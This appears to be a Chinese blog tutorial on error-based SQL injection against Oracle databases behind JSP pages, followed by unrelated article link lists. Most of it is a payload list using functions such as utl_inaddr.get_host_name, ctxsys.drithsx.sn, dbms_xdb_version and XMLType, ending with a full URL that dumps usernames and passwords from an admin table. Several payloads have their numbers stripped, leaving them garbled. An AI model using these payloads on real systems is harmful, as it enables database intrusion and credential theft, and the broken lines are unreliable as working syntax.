0X01

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。

news.jsp?id= and = 正确
news.jsp?id= and = 错误

存在注入  随便输入 发现存在报错信息我们可以尝试报错注入

0X02报错函数注入

utl_inaddr.get_host_name()进行报错注入

and =utl_inaddr.get_host_name((select table_name from user_tables where rownum=))

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有

0x002 ctxsys.drithsx.sn()进行报错注入

?id= and =ctxsys.drithsx.sn(,(select user from dual))

0x03利用 dbms_xdb_version.checkin()

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null

0x04dbms_xdb_version.makeversioned()

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null

0x05dbms_xdb_version.uncheckout()

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not nul

0x06dbms_utility.sqlid_to_sqlhash()

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null

0x06ordsys.ord_dicom.getmappingxpath()

and 1=ordsys.ord_dicom.getmappingxpath((select table_name from user_tables where rownum=1))

0x07decode进行报错注入因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

and 1=(select decode(substr(user,,),'S',(/),) from dual)  匹配到正确的时候页面返回错误
?id=1 and 1=(select decode(substr(user,1,1),'s',(1/0),0) from dual)

0x08XMLType在使用这个XMLType进行报错时,很多人不知道为什么要用chr(60),通过ascii查询可以看到,60:<,58:’:’,62:’>’,查了下相关的api,发现xmltype在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有replace函数替换成其他非空字符就可以

and (select upper(XMLType(chr()||chr()||(select user from dual)||chr())) from dual) is not null

0X020x02 报错函数注入数据

报错admin表的 用户和密码

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

其他报错函数差不多

by 感谢卿哥

最新文章

  1. django 进阶篇
  2. sql查询语句如何解析成分页查询?
  3. windows下git识别大小写配置
  4. Handlebars模板库浅析
  5. mysql-3 检索数据(1)
  6. easyui添加生成tab和子页面jsp
  7. Codeforces Problem 708A Letters Cyclic Shift
  8. 【jQuery 使用】 利用jQuery.prop(&quot;outerHTML&quot;)获取包含自身在内的HTML元素的HTML代码
  9. 最大权闭合图 &amp;&amp; 【BZOJ】1497: [NOI2006]最大获利
  10. python datetime date time详解
  11. JS 学习笔记--9---变量-作用域-内存相关
  12. 转】Maven学习总结(二)——Maven项目构建过程练习
  13. servlet清晰理解
  14. python 打印几行空行、 打印不换行
  15. 深入javascript的主流的模块规范
  16. UNIX域协议之描述符传递
  17. Python FTP文件传输
  18. 【mpvue】使用Mpvue撸一个简单的小程序
  19. Linq to sql 增删改查(转帖)
  20. js实现页面时间动态变化

热门文章

  1. c++ 判断点和圆位置关系(类的声明和类的实现分开)
  2. flask中使用jsonify和json.dumps的区别
  3. 缓存---LRU算法实现
  4. 用python 获取照片的Exif 信息(获取拍摄设备,时间,地点等信息)
  5. 使用Servlet实现验证码
  6. SQLite3中自增主键相关知识总结,清零的方法、INTEGER PRIMARY KEY AUTOINCREMENT和rowid的使用
  7. 2019-11-29-dotnet-使用-System.CommandLine-写命令行程序
  8. apache的rewrite机制
  9. nginx的服务架构
  10. 恢复HDFS文件删除后的方法